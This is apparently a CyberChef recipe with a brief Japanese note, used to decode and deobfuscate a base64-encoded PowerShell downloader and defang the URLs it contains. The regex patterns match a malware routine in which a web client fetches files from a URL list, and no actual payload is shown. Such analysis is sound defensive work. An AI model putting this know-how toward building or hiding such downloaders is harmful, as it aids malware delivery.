Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Decode_text('UTF-16LE (1200)') CSS_Beautify(' ') Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false) Fork('\\n','\\n',false) Conditional_Jump('http',false,'http',1) To_Lower_case() Label('http') Merge() Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false) Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false) Register('((?<=\\+\\$).*(?=\\+))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false) Register('((?<=\\$).*(?=\\=\\$env))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false) Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false) Register('((?<=in \\$).*(?=\\)))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false) Register('((?<=\\$).*(?= in))',true,false,false) Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false) Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches') Defang_URL(true,true,true,'Only full URLs') Syntax_highlighter('powershell')
変換結果
ポイント
- Defang_URL で URL を無力化する